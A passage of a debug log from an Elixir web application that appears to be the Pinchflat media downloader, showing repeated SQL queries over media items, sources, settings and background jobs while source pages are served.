"available", "scheduled", "retryable"] 06:46:02.580 [debug] QUERY OK source="media_items" db=7.8ms queue=4.6ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:46:02.580 [debug] QUERY OK source="settings" db=3.5ms queue=5.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.584 [debug] QUERY OK source="settings" db=3.9ms queue=6.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.585 [debug] QUERY OK source="oban_jobs" db=4.7ms queue=6.8ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:46:02.586 [info] GET /sources/35/ 06:46:02.586 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:46:02.587 [debug] QUERY OK source="media_items" db=18.5ms queue=5.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.591 [debug] QUERY OK source="oban_jobs" db=4.1ms queue=10.4ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:46:02.592 [debug] QUERY OK source="tasks" db=3.8ms queue=12.1ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:46:02.593 [debug] QUERY OK source="media_items" db=17.0ms queue=6.1ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.595 [debug] QUERY OK source="settings" db=2.2ms queue=12.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.595 [debug] QUERY OK source="media_items" db=20.2ms queue=5.9ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.596 [debug] QUERY OK source="settings" db=2.8ms queue=7.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.598 [debug] QUERY OK source="media_items" db=14.3ms queue=8.2ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.600 [debug] QUERY OK source="sources" db=3.4ms queue=6.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.603 [debug] QUERY OK source="settings" db=4.7ms queue=11.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.603 [debug] QUERY OK source="settings" db=3.7ms queue=7.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.604 [debug] QUERY OK source="oban_jobs" db=3.9ms queue=7.4ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:46:02.605 [debug] QUERY OK source="sources" db=5.7ms queue=10.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.605 [debug] QUERY OK source="media_items" db=13.7ms queue=11.4ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.606 [debug] QUERY OK source="settings" db=2.4ms queue=6.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.607 [debug] QUERY OK source="sources" db=2.4ms queue=7.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.607 [info] Sent 200 in 58ms 06:46:02.607 [debug] QUERY OK source="sources" db=4.6ms queue=8.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.608 [debug] QUERY OK source="media_profiles" db=2.3ms queue=5.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.608 [debug] QUERY OK source="sources" db=2.9ms queue=5.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.608 [debug] QUERY OK source="settings" db=2.6ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.611 [debug] QUERY OK source="settings" db=2.0ms queue=5.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.611 [debug] QUERY OK source="settings" db=2.2ms queue=4.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.611 [debug] QUERY OK source="media_items" db=2.2ms queue=1.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:46:02.611 [debug] QUERY OK source="media_items" db=2.0ms queue=3.6ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:46:02.612 [debug] QUERY OK source="sources" db=3.1ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.612 [debug] QUERY OK source="media_items" db=1.6ms queue=3.0ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:46:02.613 [debug] QUERY OK source="tasks" db=1.7ms queue=2.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:46:02.613 [debug] QUERY OK source="settings" db=1.3ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.613 [debug] QUERY OK source="media_items" db=1.4ms queue=3.5ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:46:02.615 [debug] QUERY OK source="settings" db=2.7ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.616 [debug] QUERY OK source="media_items" db=3.0ms queue=0.6ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.617 [debug] QUERY OK source="media_items" db=3.8ms queue=0.9ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.617 [debug] QUERY OK source="media_items" db=3.0ms queue=1.6ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.617 [debug] QUERY OK source="settings" db=4.1ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.617 [info] Sent 200 in 70ms 06:46:02.618 [debug] QUERY OK source="media_items" db=1.2ms queue=4.0ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:46:02.619 [debug] QUERY OK source="settings" db=1.7ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.619 [debug] QUERY OK source="oban_jobs" db=2.2ms queue=3.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 06:46:02.620 [debug] QUERY OK source="media_items" db=2.8ms queue=2.9ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:46:02.620 [debug] QUERY OK source="sources" db=3.0ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.622 [debug] QUERY OK source="sources" db=2.4ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.622 [debug] QUERY OK source="sources" db=2.2ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.622 [debug] QUERY OK source="sources" db=1.1ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.622 [debug] QUERY OK source="media_items" db=3.6ms queue=0.3ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:46:02.622 [debug] QUERY OK source="settings" db=1.9ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.623 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.624 [debug] QUERY OK source="media_items" db=2.7ms queue=1.1ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 06:46:02.625 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=0.0ms SELECT 